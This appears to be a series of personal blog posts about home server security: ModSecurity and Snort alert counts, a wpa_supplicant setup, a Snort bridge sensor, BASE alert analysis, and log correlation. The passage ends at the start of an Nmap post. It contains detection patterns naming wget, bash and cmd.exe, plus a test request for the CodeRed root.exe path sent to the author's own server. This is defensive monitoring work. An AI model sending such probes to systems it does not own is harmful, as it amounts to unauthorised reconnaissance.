e-GeForce 7300 GT fan issues

The fan on this card, which I purchased last March, seized. It appears to be removable. Instead of returning it, I'm going to see about adding another fan (I just need to find one that will clamp on without issues).

I ordered another one eariler in the week and will use this one while I'm repairing the other's fan (in fact, I'll order an additional fan for when the new one's fan breaks).

Why am I putting up with replacing the fan and buying an additional fan for the new one? Because the card is AWESOME! The fan issue totally sucks and the card is still under warranty, but I can tell that these cards have bad fans and this is a design defect, I believe. If I can replace the fan with one that clamps on at the same clamp-on points, I'll be happy. If not, I'll return both before the warranties end and get the fanless versions.

Click here for some TigerDirect reviews of this card.

EDIT: WHOA... I just opened the box of my replacement 7300 and saw that they've changed the fan to something that is hopefully more robust. It is an open fan and is black plastic. EVGA must have had too many complaints and decided that a new fan was in order. I'll post pics later.

Modsecurity again

Reading through some of my unread modsecurity mailing list emails, I found this tidbit (pretty simple, actually):

egrep '^Message:' modsec_audit.log | sort | uniq -c | sort -rn

I edited it to read: egrep 'message:' audit_log | sort | uniq -c | sort -rn

I see the following after running those commands:

927 mod_security-message: Access denied with code 403. Pattern match "index.php" at REQUEST_URI [id "1005"][rev "2"] [msg "index.php usage, suspicious activity"] [severity "ALERT"]
728 mod_security-message: Access denied with code 403. Pattern match "cmd.txt" at REQUEST_URI [id "1005"][rev "2"] [msg "cmd.txt usage, suspicious activity"] [severity "ALERT"]
668 mod_security-message: Warning. Pattern match "/robots\\.txt" at THE_REQUEST [severity "EMERGENCY"]
377 mod_security-message: Warning. Pattern match "/*\\.shtml" at THE_REQUEST [severity "EMERGENCY"]
171 mod_security-message: Access denied with code 500. Pattern match "\\?\\?\\?\\?\\?\\?\\?\\?\\?\\?" at THE_REQUEST [severity "EMERGENCY"]
141 mod_security-message: Access denied with code 403. Pattern match "/xmlrpc.php" at REQUEST_URI [id "1003"][rev "2"] [msg "lupper-type attack attempt"] [severity "CRITICAL"]
127 mod_security-message: Warning. Pattern match "/\\?M=D" at THE_REQUEST [severity "EMERGENCY"]
127 mod_security-message: Access denied with code 403. Pattern match "index2.php" at REQUEST_URI [id "1005"][rev "2"] [msg "index2.php usage, suspicious activity"] [severity "ALERT"]
115 mod_security-message: Access denied with code 500. Pattern match "!(^$|^application/x-www-form-urlencoded$|^multipart/form-data;)" at HEADER("Content-Type") [severity "EMERGENCY"]
82 mod_security-message: Access denied with code 403. Pattern match "adxmlrpc.php" at REQUEST_URI [id "1004"][rev "2"] [msg "lupper-type attack attempt"] [severity "CRITICAL"]
51 mod_security-message: Access denied with code 403. Pattern match "login.php" at REQUEST_URI [id "1005"][rev "2"] [msg "login.php usage, un-kosher activity"] [severity "ALERT"]
48 mod_security-message: Access denied with code 500. Pattern match "\\." at REQUEST_URI [severity "EMERGENCY"]
29 mod_security-message: Access denied with code 500. Pattern match "\\.\\." at THE_REQUEST [severity "EMERGENCY"]
12 mod_security-message: Access denied with code 500. Error normalising REQUEST_URI: Invalid character detected [0] [severity "EMERGENCY"]
8 mod_security-message: Access denied with code 403. Pattern match "index.php" at POST_PAYLOAD [id "1005"][rev "2"] [msg "index.php usage, suspicious activity"] [severity "ALERT"]
7 mod_security-message: Access denied with code 500. Pattern match "/calendar" at THE_REQUEST [severity "EMERGENCY"]
5 mod_security-message: Warning. Pattern match "/bash" at THE_REQUEST [severity "EMERGENCY"]
4 mod_security-message: Access denied with code 500. Pattern match "wget\\x20" at REQUEST_URI [severity "EMERGENCY"]
2 mod_security-message: Access denied with code 500. Pattern match "\\?&" at THE_REQUEST [severity "EMERGENCY"]
2 mod_security-message: Access denied with code 500. Pattern match "/root\\.exe" at THE_REQUEST [severity "EMERGENCY"]
1 mod_security-message: Access denied with code 403. Pattern match "/cmd.exe" at REQUEST_URI [id "1002"][rev "2"] [msg "codered/nimda attack attempt"] [severity "ALERT"]

The logs go back to May of 2007.

I did the same for my snort logs:

egrep 'Classification:' alert | sort | uniq -c | sort -rn

14441 [Classification: Misc activity] [Priority: 3]
1892 [Classification: Web Application Attack] [Priority: 1]
1857 [Classification: Attempted Information Leak] [Priority: 2]
1613 [Classification: Misc Attack] [Priority: 2]
1147 [Classification: access to a potentially vulnerable web application] [Priority: 2]
442 [Classification: Executable code was detected] [Priority: 1]
7 [Classification: Potentially Bad Traffic] [Priority: 2]
3 [Classification: Attempted User Privilege Gain] [Priority: 1]
3 [Classification: Attempted Denial of Service] [Priority: 2]
2 [Classification: Detection of a Network Scan] [Priority: 3]
1 [Classification: Attempted Administrator Privilege Gain] [Priority: 1]

This Snort log is 7.4M in size.

Pretty cool, eh? I thought it would be cool to share this!

WPA and Slackware (or in this case, Backtrack)

I've got Slackware (OK, actually Backtrack...the differences between the two are subtle but defined pretty well and is a discussion for another day) running wpa_supplicant. In the last week, I've seen several people complaining on the lack of documentation on how to get this running. Another issue that isn't well-documented is the fact that Slackware has no GUI that'll allow the user to switch wireless networks as quickly as possible. My only answer is to use Slackware's KDE-based wifi management tool.

I've used ndiswrapper with a closed-source card on a Toshiba Satellite 1805-S274, in this case.

Anyways, I'm going to attempt to describe how I use wpa-supplicant. My wifi setup uses a PCMCIA card (Linksys WPC54GS) in which I have to use win32 drivers (via ndiswrapper). I created a script in the root directory: wlan_script2.sh.

#!/usr/bin/bash

#Start of script

wpa_supplicant -ieth1 -c/etc/wpa_supplicant.conf -dP -Dndiswrapper -B

dhcpcd -d -t 10 eth1

#End of script

I've also added the following to the bottom of the /etc/wpa_supplicant.conf file:

network={
ssid="youarebeingwatched2"
proto=WPA
key_mgmt=WPA-PSK
psk="There are a lot of steps to this document and the process should be simplified!"
priority=99
}

I usually run the first script above, then the second. I'm then instantly connected without trouble:

bt ~ # ./wlan_script2.sh
Initializing interface 'eth1' conf '/etc/wpa_supplicant.conf' driver 'default' ctrl_interface 'N/A'
bridge 'N/A'
Configuration file '/etc/wpa_supplicant.conf' -> '/etc/wpa_supplicant.conf'
Reading configuration file '/etc/wpa_supplicant.conf'
ctrl_interface='/var/run/wpa_supplicant'
ctrl_interface_group='wheel' (DEPRECATED)
eapol_version=1
ap_scan=1
fast_reauth=1
Priority group 99
id=0 ssid='youarebeingwatched2'
Initializing interface (2) 'eth1'
EAPOL: SUPP_PAE entering state DISCONNECTED
EAPOL: KEY_RX entering state NO_KEY_RECEIVE
EAPOL: SUPP_BE entering state INITIALIZE
EAP: EAP entering state DISABLED
EAPOL: External notification - portEnabled=0
EAPOL: External notification - portValid=0
SIOCGIWRANGE: WE(compiled)=21 WE(source)=18 enc_capa=0xf
capabilities: key_mgmt 0xf enc 0xf
WEXT: Operstate: linkmode=1, operstate=5
Own MAC address: 00:0f:66:4a:42:6a
wpa_driver_wext_set_wpa
wpa_driver_wext_set_key: alg=0 key_idx=0 set_tx=0 seq_len=0 key_len=0
wpa_driver_wext_set_key: alg=0 key_idx=1 set_tx=0 seq_len=0 key_len=0
wpa_driver_wext_set_key: alg=0 key_idx=2 set_tx=0 seq_len=0 key_len=0
wpa_driver_wext_set_key: alg=0 key_idx=3 set_tx=0 seq_len=0 key_len=0
wpa_driver_wext_set_countermeasures
wpa_driver_wext_set_drop_unencrypted
Setting scan request: 0 sec 100000 usec
Using existing control interface directory.
ctrl_interface_group=10 (from group name 'wheel')
Added interface eth1
Daemonize..
dhcpcd: MAC address = 00:0f:66:4a:42:6a
dhcpcd: your IP address = 10.150.1.109

Now, this is a cheap hack and this can be done using the existing Slackware scripts, most likely...it was quicker for me to script this on my own and get internet connectivity up and running quickly. Besides that, I'm OK using this hack. Usually I just turn on the laptop, plug in the wireless PCMCIA adapter (Linksys WPC54GS), run the scripts, and commence to browse!

Any of you got any wireless hacks?

A Good Read: Snort for Dummies

Don't laugh. I bought this book a long time ago so that I could understand some things about Snort that were described in other expensive books that I didn't understand. Somtimes, very basic explanations in a non-technical jargon is best and every little bit of understanding helps, right? Here's the link: Snort for Dummies

58 Cool Hacks...and more

Here are fifty-eight (58) cool hacks that are posted on the Linux Format Wiki. Some of these are actually cool and insightful. I plan on attemtping to regularly use a few of them. I'll let you know a bit later which ones they are and how well my implementation and usage goes.

Here is another good link. It describes in detail how to build your own distribution (build, not create, as you will build from a pre-existing Linux ISO file). If I'd enough time to do this, I would...maybe during my next holiday, I'll begin this, with the idea of making a seriously light yet secure distro.

This one is a good one, but I've only skimmed it so far. It is LinuxFormat's Slackware documentation. Since I know they are a bit biased in their views of Slackware (they seem to think that apt-get-like package management is a requirement and that the distribution is a bit 'behind the times'), I know I need to read this part of their wiki with some attention to detail.

Web server being scanned

Hrmm...I've found that my web server is being slowly scanned. This scan looks to be attempting to do a 'low and slow' scan, attempting to circumvent any monitoring thresholds. In fact, I noticed the scans a few days ago and just added the IP to my firewall block list.

Here's what I've seen so far:

DShield
myNetWatchman
Web Sniffer Proxy

Both of those links just show a few of my firewall entries. I give feeds of my logs to several organizations to assist in monitoring internet-wide attacks and trending.

My Snort logs show a different story (IDS logs always do, when comparing to firewall logs). What I'm seeing are SNMP-type scans, which are probably NMAP scans. What's weird is that the scans originate from IP 67.15.135.144:80. Visiting that page with http://web-sniffer.net, I see an unconfigured/new server account:

         class="welcomeText">Server Default page
class="descriptionText">
       If you see this page it means:

       1. hosting for this domain is not configured

       or

       2. there's no such domain registered in Plesk
     

The above is usually an indicator of badness...it appears that someone may have purposely stood up this account to use maliciously. All they need is a running web server, and the fact that I'm seeing what I am is an indication that the web server is up and running (I also got an HTTP status code of '200').

I'll keep monitoring this activity, although the activity is fully blocked (the whole network range is blocked).

Slack v12.0 on a old rackmount

My Dell Precision 220 that I had NetBSD installed on has a CPU fan that is dying (bearing failure which is pretty damn noisy). I've turned off the machine but needed a temporary replacement, so I took an old rackmount (no-name brand that was pretty much hand-built) and installed Slackware v12.0 on it. It was previously running Astaro Linux but I needed something that had a bunch of installed NICs. This machine has 4 NICs. I need three of them, one for the management interface and two for connections to an ethernet tap (I'm sniffing traffic before my firewall).

I'd thought this would be a huge exercise in hunting down how to bind the two interfaces that were plugged into the tap ports of the tap, but it was easier than in NetBSD.

After installing Slackware v12.0 and then Snort (2.6.1.5), I then used 'brctl' to establish an ethernet bridge across two different physical interfaces:

root@suna:~# brctl
Usage: brctl [commands]
commands:
addbr add bridge
delbr delete bridge
addif add interface to bridge
delif delete interface from bridge
setageing set ageing time
setbridgeprio set bridge priority
setfd set bridge forward delay
sethello set hello time
setmaxage set max message age
setpathcost set path cost
setportprio set port priority
show show a list of bridges
showmacs show a list of mac addrs
showstp show bridge stp info
stp {on|off} turn stp on/off
root@suna:~#
root@suna:~# brctl addbr br0
root@suna:~#
root@suna:~#
root@suna:~# ifconfig br0
br0 Link encap:Ethernet HWaddr 00:00:00:00:00:00
BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)

root@suna:~# ifconfig eth2 up
root@suna:~# ifconfig eth3 up
root@suna:~# brctl addif br0 eth2
root@suna:~# brctl addif br0 eth3
root@suna:~# ifconfig br0 up
root@suna:~# tcpdump -ivv br0
tcpdump: SIOCGIFHWADDR: No such device
root@suna:~# tcpdump -vvi br0
tcpdump: WARNING: br0: no IPv4 address assigned
tcpdump: listening on br0, link-type EN10MB (Ethernet), capture size 96 bytes
23:44:41.166720 IP (tos 0x0, ttl 54, id 47678, offset 0, flags [DF], proto: TCP (6), length: 129) 64.161.255.20.ircd > pool-71-178-10-160.washdc.fios.verizon.net.49197: P 692786612:692786689(77) ack 97899523 win 98
23:44:41.167554 IP (tos 0x0, ttl 63, id 17743, offset 0, flags [DF], proto: TCP (6), length: 52) pool-71-178-10-160.washdc.fios.verizon.net.49197 > 64.161.255.20.ircd: ., cksum 0x501f (correct), 1:1(0) ack 77 win 1002
23:44:41.175972 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto: UDP (17), length: 72) pool-71-178-10-160.washdc.fios.verizon.net.1024 > nsrest01.verizon.net.domain: [udp sum ok] 19732+ PTR? 20.255.161.64.in-addr.arpa. (44)
23:44:41.481742 IP (tos 0x0, ttl 249, id 47959, offset 0, flags [DF], proto: UDP (17), length: 123) nsrest01.verizon.net.domain > pool-71-178-10-160.washdc.fios.verizon.net.1024: 19732 NXDomain q: PTR? 20.255.161.64.in-addr.arpa. 0/1/0 ns: 255.161.64.in-addr.arpa. (95)

4 packets captured
4 packets received by filter
0 packets dropped by kernel
root@suna:~# ifconfig br0
br0 Link encap:Ethernet HWaddr 00:D0:B7:85:78:D6
inet6 addr: fe80::2d0:b7ff:fe85:78d6/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:13 errors:0 dropped:0 overruns:0 frame:0
TX packets:6 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:1108 (1.0 KiB) TX bytes:468 (468.0 b)

After setting up the br0 interface, I could then use Snort to sniff the br0 device (and see the traffic of the interfaces bridged to br0):

root@suna:~# brctl show
bridge name bridge id STP enabled interfaces
br0 8000.00d0b78578d6 no eth2
eth3
root@suna:~# ifconfig eth2
eth2 Link encap:Ethernet HWaddr 00:D0:B7:85:78:D6
inet6 addr: fe80::2d0:b7ff:fe85:78d6/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:49363 errors:0 dropped:0 overruns:0 frame:0
TX packets:41805 errors:0 dropped:0 overruns:0 carrier:10
collisions:1202 txqueuelen:1000
RX bytes:41520086 (39.5 MiB) TX bytes:5730882 (5.4 MiB)
Interrupt:5

root@suna:~# ifconfig eth3
eth3 Link encap:Ethernet HWaddr 00:D0:B7:85:8A:B4
inet6 addr: fe80::2d0:b7ff:fe85:8ab4/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:41860 errors:0 dropped:0 overruns:0 frame:0
TX packets:49312 errors:0 dropped:0 overruns:0 carrier:940
collisions:959 txqueuelen:1000
RX bytes:5771456 (5.5 MiB) TX bytes:41483624 (39.5 MiB)
Interrupt:10

root@suna:~# ethtool eth2
Settings for eth2:
Supported ports: [ TP MII ]
Supported link modes: 10baseT/Half 10baseT/Full
100baseT/Half 100baseT/Full
Supports auto-negotiation: Yes
Advertised link modes: 10baseT/Half 10baseT/Full
100baseT/Half 100baseT/Full
Advertised auto-negotiation: Yes
Speed: 100Mb/s
Duplex: Half
Port: MII
PHYAD: 1
Transceiver: internal
Auto-negotiation: on
Current message level: 0x000020c1 (8385)
Link detected: yes

root@suna:~# ethtool eth3
Settings for eth3:
Supported ports: [ TP MII ]
Supported link modes: 10baseT/Half 10baseT/Full
100baseT/Half 100baseT/Full
Supports auto-negotiation: Yes
Advertised link modes: 10baseT/Half 10baseT/Full
100baseT/Half 100baseT/Full
Advertised auto-negotiation: Yes
Speed: 100Mb/s
Duplex: Half
Port: MII
PHYAD: 1
Transceiver: internal
Auto-negotiation: on
Current message level: 0x000020c1 (8385)
Link detected: yes
root@suna:~#

At this point, it can get snort to run, but it dies not long after starting the process. I can also use tcpdump to sniff traffic from the br0 device. I'm seeing normal traffic. There's nothing in the logs to indicate any problems. I'm also able to telnet to port 3306 (Snort is reporting events/alerts to a database). I've also tested my snort.conf and it appears sane (no reported errors) and will connect to the MySQL database without errors.

Hrmmm...looks like it will be a busy weekend...

Edit - 11/10/2007:

I had to revert to Snort v2.4.4 for now, as v2.6.1.5 was causing serious memory issues. Using the -M switch, Snort wasn't telling me why it was dying. 'dmesg' or cat'ing the /var/log/messages file wasn't showing why it was dying either. The only hint was me watching the process via 'top'. Within 5 min, the process would hog all 512MB of physical RAM and commence to using all virtual RAM (1GB). The process would die less than an hour after start. I began trimming the snort.conf file to lessen memory usage, but began to tire of doing this. I decided to fall back a version until I could figure out why v2.6 wasn't working.

Updated Modsecurity rules by converting Snort rules

Using the tool shown here, I was able to convert the latest snort rules into Modsecurity rules!

Previous to this, I'd created my own (crude) rules that blocked most of the traffic I had concerns about, but I wanted something more. I converted the latest Snort rules to Modsecurity rules, ending up with 852 new Modsecurity rules (12 of which I created).

This is already paying off. I'm seeing a good bit of rejected or warning-type (but passing) traffic. Also, the web rejections are actually triggering Snort alerts (attack responses), which is great, as it gives me more data to investigate when perusing my Snort logs.

I also had issues with maybe 7 of the converted rules. I've yet to look at why they wouldn't work without Apache erroring out, but I've disabled them. I'll take a look at them sometime soon.

`

Snort/BASE and Analytics

This post is not related to Slackware, but will cover a method of utilizing BASE to conduct analysis. I'm including screenshots of my BASE setup when conducting analysis to describe how I utilize BASE and correlate logged activity. The below is NOT the only methods of conducting analytics with BASE. This method works for me and offers me quick results. In fact, if you've other methods, please post or e-mail me so that I can know different ways of using this SEM.

If you're not familiar with BASE, please visit the project's site. BASE is a browser-based console that presents intrusion detection logs in various readable formats.

Here is a screenshot of the root page:



Within the upper left-hand corner (within the blue field), there are what I call "canned queries", that will allow you to see certain subsets of data. The ones that I focus on the most are

- Today's alerts
- Last 24 Hours alerts
- Last 72 Hours alerts
- Most recent 15 Alerts
- Most recent 15 Unique Alerts
- Most frequent 5 Unique Alerts

Out of those, I focus on "Last 72 Hours alerts" most frequently.

Let us delve into the last 72 hours' events. Note in the image that I've circled this link. Please either follow along if you've BASE installed, or follow this diatribe and its image links. Either click the circled link or open it in a new tab or browser. I tend to open BASE links in a new browser instance, as it gives me a separate area to dig into a new investigation. This way, if I've several concerns, I've a browser window for each.

After clicking the 72-hour link, you should see something similar to below:



I've split the browser window into two pages, since the alerts scroll down the page. For this exercise, we're going to focus on the second image, specifically the "WEB-PHP remote include path" events (toward the bottom). I chose these events because I wanted a good example of how to correlate events per IP. Click on this link (circled in RED) or open the link in a new browser/tab. You may see something similar to the following browser window:



In this example, 37 alerts are showing, with various source IPs (or what I call SIPs) and, in this case, one destination IP (what I call a DIP). Note that there could be more than one DIP, such as when you've two web servers or two IPs that are sharing a NIC. In the above browser window, I've a few IPs apparently attacking my web server. How do I make it so I see one line per SIP yet get enough situational awareness that I have an idea of which SIP generated what number of alerts on a DIP? The "Unique IP Links" in the upper right corner (circled in RED). Click on that link and you should see something similar to the following:



What's changed? The traffic is now matched based on unique traffic. Let's focus on "90-179-94.adsl.cust.tie.cl/200.90.179.94". This IP shows as a source and destination IP. Why? Because the IDS sensor logged both the web server's sending and receiving traffic (bi-directional). Note that this only happens when a response signature triggers (we'll see this in the next screenshot). If the web server response does not trigger a signature, the IDS won't log an alert. This is where signature tuning comes in handy...you really don't want to see legitimate HTTP 202 (OK) traffic being logged unless absolutely necessary. You only want concerning traffic to be logged. Now, note the brackets (sloppy) in RED in the above right screenshot. I'm going to click the 200.90.179.94 IP because I want to know what's going on there. I also observed this IP in the lower half of the screen (not screenshotted for brevity) alerting on my other IP (the NIC is dual-homed). Click on the IP and you'll see something similar:



You can study this page for a moment, but its just a page to gain a further understanding of who owns the IP. The real resources on this page are circled in RED. We'll click on both, starting with "Source/Destination", then "Unique Alerts". Open them in separate windows so you can compare. While both may show similar alerts, each is valuable:



The view on the left shows every unique attack and attack response regarding the attacking IP. The view on the right shows a summary of the attacks, with a description of "4 unique alerts detected among 16 alerts on 200.90.179.94/32". The right view also shows that you can dig down into each category of alert, if you chose.

Which view do I rely on? For a quick view, I usually use the right screenshot, but I also use the left screenshot method for when I want to see everything the attacking IP did (and how my server responded). Note that I didn't obfuscate the whole of my server's IP. I wanted to show an example of this method of analysis showing EVERYTHING the attacker did, including reaching out to both of my IPs.

I'm not going to go further. I just wanted to highlight how BASE can be used efficiently. Anything further would get into payload analysis, which is beyond the scope of today's post.

Stay tuned for a possible swf2vnc movie capture of using BASE. This will happen as soon as I can figure out how to mask my public IPs. This task may get me to delve into using my Macs to edit the SWF movies (we'll see if that is possible, with free- or shareware).

Log Correlation

I thought I'd talk about the importance of log correlation. For instance, you've found that someone is continually pinging your server. You want to see if your box is responding to the pings. Usually, you'll know right off, since most people know if their firewall was configured to block pings...I'm just using pings as a quick example, though. Log correlation usually consists of checking, for instance, web server logs against firewall logs, or Snort logs against firewall and web server logs. This helps you understand what suspicious activity is actually doing and if your server/workstation responded (and how it responded, if it did).

I run Snort on a server, along with a web server, which is firewalled with IPTables. I have Snort report what it sees to a MySQL database, although it does record captures to a PCAP file locally. I also run Modsecurity, an application firewall that is designed to sniff and possibly block traffic going to/from web servers, mainly Apache. So, I've a ton of logs that I can correlate: Snort, Apache, IPTables, and Modsecurity logs.

We'll pick something easy. In fact, I'll fabricate some logs by generating some false alerts. I'll use 'wget', to visit my website. Keep in mind that what you see below gives you the advantage...you know what you're doing and looking for when we soon check the logs. This won't be the case when some stranger or worm hits your firewall or web server (or any other application server).

-bash-2.05b$ wget wigglit.ath.cx/root.exe
--23:24:05-- http://wigglit.ath.cx/root.exe
=> `root.exe'
Resolving wigglit.ath.cx... 66.160.141.30
Connecting to wigglit.ath.cx|66.160.141.30|:80... connected.
HTTP request sent, awaiting response... 404 Not Found
23:24:06 ERROR 404: Not Found.

-bash-2.05b$

I used root.exe because there is an old vulnerability was was used to exploit the CodeRed worm of old. Now, let's check the web server's logs. I've tail'd my logs:

root@starchild:/var/log/apache# tail -f -n 100 access_log
12.123.12.123 - - [15/Sep/2007:23:34:35 -0400] "GET /root.exe HTTP/1.0" 404 202
12.123.12.123 - - [15/Sep/2007:23:34:35 -0400] "GET /root.exe HTTP/1.0" 404 202 "-" "Wget/1.10.2"

You see that the communcation was rejected (404 code), as the traffic was deemed forbidden by the web server. This is usually a good indication, as the server didn't respond favorably to the attack.

Now, let us check the firewall logs. We already know that the firewall allowed the traffic, since the web server responded with a 404...if the traffic was being blocked, there would be no record of the attack in the logs, because the firewall would have intercepted the traffic before it reached the web server. We're checking the firewall logs just to be sure this guy hasn't done anything else that the web server didn't see:

Sep 12 17:28:34 starchild kernel: Connection attempt (UNPRIV): IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:00:0c:db:f5:90:00:08:00 SRC=12.123.12.123 DST=66.160.141.30 LEN=60 TOS=0x00 PREC=0x00 TTL=56 ID=34557 DF PROTO=TCP SPT=46656 DPT=10083 WINDOW=5840 RES=0x00 SYN URGP=0
Sep 12 17:28:44 starchild kernel: Connection attempt (PRIV): IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:00:0c:db:f5:90:00:08:00 SRC=12.123.12.123 DST=66.160.141.30 LEN=60 TOS=0x00 PREC=0x00 TTL=56 ID=18168 DF PROTO=TCP SPT=40091 DPT=449 WINDOW=5840 RES=0x00 SYN URGP=0
Sep 12 17:28:44 starchild kernel: Connection attempt (UNPRIV): IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:00:0c:db:f5:90:00:08:00 SRC=12.123.12.123 DST=66.160.141.30 LEN=60 TOS=0x00 PREC=0x00 TTL=56 ID=27053 DF PROTO=TCP SPT=36295 DPT=5060 WINDOW=5840 RES=0x00 SYN URGP=0
Sep 12 17:28:54 starchild kernel: Connection attempt (PRIV): IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:00:0c:db:f5:90:00:08:00 SRC=12.123.12.123 DST=66.160.141.30 LEN=60 TOS=0x00 PREC=0x00 TTL=56 ID=29291 DF PROTO=TCP SPT=47590 DPT=342 WINDOW=5840 RES=0x00 SYN URGP=0
Sep 12 17:28:54 starchild kernel: Connection attempt (UNPRIV): IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:00:0c:db:f5:90:00:08:00 SRC=12.123.12.123 DST=66.160.141.30 LEN=60 TOS=0x00 PREC=0x00 TTL=56 ID=11788 DF PROTO=TCP SPT=43604 DPT=1519 WINDOW=5840 RES=0x00 SYN URGP=0
Sep 12 17:29:04 starchild kernel: Connection attempt (PRIV): IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:00:0c:db:f5:90:00:08:00 SRC=12.123.12.123 DST=66.160.141.30 LEN=60 TOS=0x00 PREC=0x00 TTL=56 ID=17600 DF PROTO=TCP SPT=32783 DPT=577 WINDOW=5840 RES=0x00 SYN URGP=0
Sep 12 17:29:04 starchild kernel: Connection attempt (UNPRIV): IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:00:0c:db:f5:90:00:08:00 SRC=12.123.12.123 DST=66.160.141.30 LEN=60 TOS=0x00 PREC=0x00 TTL=56 ID=51338 DF PROTO=TCP SPT=47879 DPT=18187 WINDOW=5840 RES=0x00 SYN URGP=0
Sep 12 17:29:14 starchild kernel: Connection attempt (PRIV): IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:00:0c:db:f5:90:00:08:00 SRC=12.123.12.123 DST=66.160.141.30 LEN=60 TOS=0x00 PREC=0x00 TTL=56 ID=58520 DF PROTO=TCP SPT=41983 DPT=517 WINDOW=5840 RES=0x00 SYN URGP=0
Sep 12 17:29:14 starchild kernel: Connection attempt (UNPRIV): IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:00:0c:db:f5:90:00:08:00 SRC=12.123.12.123 DST=66.160.141.30 LEN=60 TOS=0x00 PREC=0x00 TTL=56 ID=20255 DF PROTO=TCP SPT=53355 DPT=1986 WINDOW=5840 RES=0x00 SYN URGP=0
Sep 12 17:29:24 starchild kernel: Connection attempt (PRIV): IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:00:0c:db:f5:90:00:08:00 SRC=12.123.12.123 DST=66.160.141.30 LEN=60 TOS=0x00 PREC=0x00 TTL=56 ID=28213 DF PROTO=TCP SPT=38543 DPT=978 WINDOW=5840 RES=0x00 SYN URGP=0
Sep 12 17:29:24 starchild kernel: Connection attempt (UNPRIV): IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:00:0c:db:f5:90:00:08:00 SRC=12.123.12.123 DST=66.160.141.30 LEN=60 TOS=0x00 PREC=0x00 TTL=56 ID=10244 DF PROTO=TCP SPT=45624 DPT=11371 WINDOW=5840 RES=0x00 SYN URGP=0
Sep 12 17:29:37 starchild kernel: ICMP-request: IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:00:0c:db:f5:90:00:08:00 SRC=12.123.12.123 DST=66.160.141.30 LEN=28 TOS=0x00 PREC=0x00 TTL=42 ID=53002 PROTO=ICMP TYPE=8 CODE=0 ID=10683 SEQ=16615
Sep 15 17:38:25 starchild sshd[8455]: Accepted publickey for ron from ::ffff:12.123.12.123 port 33557 ssh2
Sep 15 23:21:08 starchild kernel: ICMP-request: IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:00:0c:db:f5:90:00:08:00 SRC=12.123.12.123 DST=66.160.141.30 LEN=84 TOS=0x00 PREC=0x00 TTL=55 ID=40988 PROTO=ICMP TYPE=8 CODE=0 ID=614 SEQ=0

Quite a bit of stuff, huh? This looks to be a port scan! This is something that we didn't see in the Apache logs! Good thing we checked! Looks like this IP needs to be blocked with IPTables (which we won't do in this exercise).

Sadly, nothing shows in the Modsecurity logs, but we've enough information already. What about Snort? Because I've PCAP files, the search becomes a bit more involved. I'll spare the intimate details, but this is what we see:

[**] [1:1256:9] WEB-IIS CodeRed v2 root.exe access [**]
[Classification: Web Application Attack] [Priority: 1]
09/15-23:34:35.708546 0:C:DB:F5:90:0 -> FE:FD:40:3E:E7:DC type:0x800 len:0xB0
12.123.12.123:52753 -> 66.160.141.30:80 TCP TTL:56 TOS:0x0 ID:51589 IpLen:20 DgmLen:162 DF
***AP*** Seq: 0xAF32BB68 Ack: 0x3F319F7A Win: 0xFFFF TcpLen: 32
TCP Options (3) => NOP NOP TS: 288652007 1521931210
[Xref => http://www.cert.org/advisories/CA-2001-19.html]

23:34:35.708546 00:0c:db:f5:90:00 > fe:fd:40:3e:e7:dc, ethertype IPv4 (0x0800), length 176: IP (tos 0x0, ttl 56, id 51589, offset 0, flags [DF], length: 162) 12.123.12.123.52753 > 66.160.141.30.80: P [tcp sum ok] 2939337576:2939337686(110) ack 1060216698 win 65535
0x0000: fefd 403e e7dc 000c dbf5 9000 0800 4500 ..@>..........E.
0x0010: 00a2 c985 4000 3806 56c0 47b2 0aa0 42a0 ....@.8.V.G...B.
0x0020: 8d1e ce11 0050 af32 bb68 3f31 9f7a 8018 .....P.2.h?1.z..
0x0030: ffff e9c5 0000 0101 080a 1134 7ae7 5ab6 ...........4z.Z.
0x0040: d3ca 4745 5420 2f72 6f6f 742e 6578 6520 ..GET./root.exe.
0x0050: 4854 5450 2f31 2e30 0d0a 5573 6572 2d41 HTTP/1.0..User-A
0x0060: 6765 6e74 3a20 5767 6574 2f31 2e31 302e gent:.Wget/1.10.
0x0070: 320d 0a41 6363 6570 743a 202a 2f2a 0d0a 2..Accept:.*/*..
0x0080: 486f 7374 3a20 7769 6767 6c69 742e 6174 Host:.wigglit.at
0x0090: 682e 6378 0d0a 436f 6e6e 6563 7469 6f6e h.cx..Connection
0x00a0: 3a20 4b65 6570 2d41 6c69 7665 0d0a 0d0a :.Keep-Alive....

The first is the Snort alert file...this is a fast alert, with minimal detail (no packet capture). The second section is the full alert, including packet capture. It is also garbled (due to the hex code and the fact that this blog has issues with formatting) Note that my logs show no response. Apparently, my Snort install doesn't have a 404 signature. Again, the fact that we can correlate helps me when my Snort install lacks the data that I may have needed. I was able to look at the Apache logs to see the 404 when my Snort logs didn't show the return traffic.

Well, this concludes our chat about correlating existing logs. Note that any log files can be correlated. Correlation can also assist in tracking down network issues or issues with, for instance, a faulty Snort install (ahem). Although this discussion focused more on security, hopefully this helps someone understand their network or software architecture also.

`

Assessment of a Hardened Box

I thought I'd do a piece on *nix security. This will be a general guide on how to determine what ports have listening services and how to assess if those ports are available to the world wide web.

I like to do three different things:

1. Run Nmap against localhost (127.0.0.1).
2. Run Nmap against the machine's IP from another machine within the LAN.
3. Run Nmap against the machine from the internet.

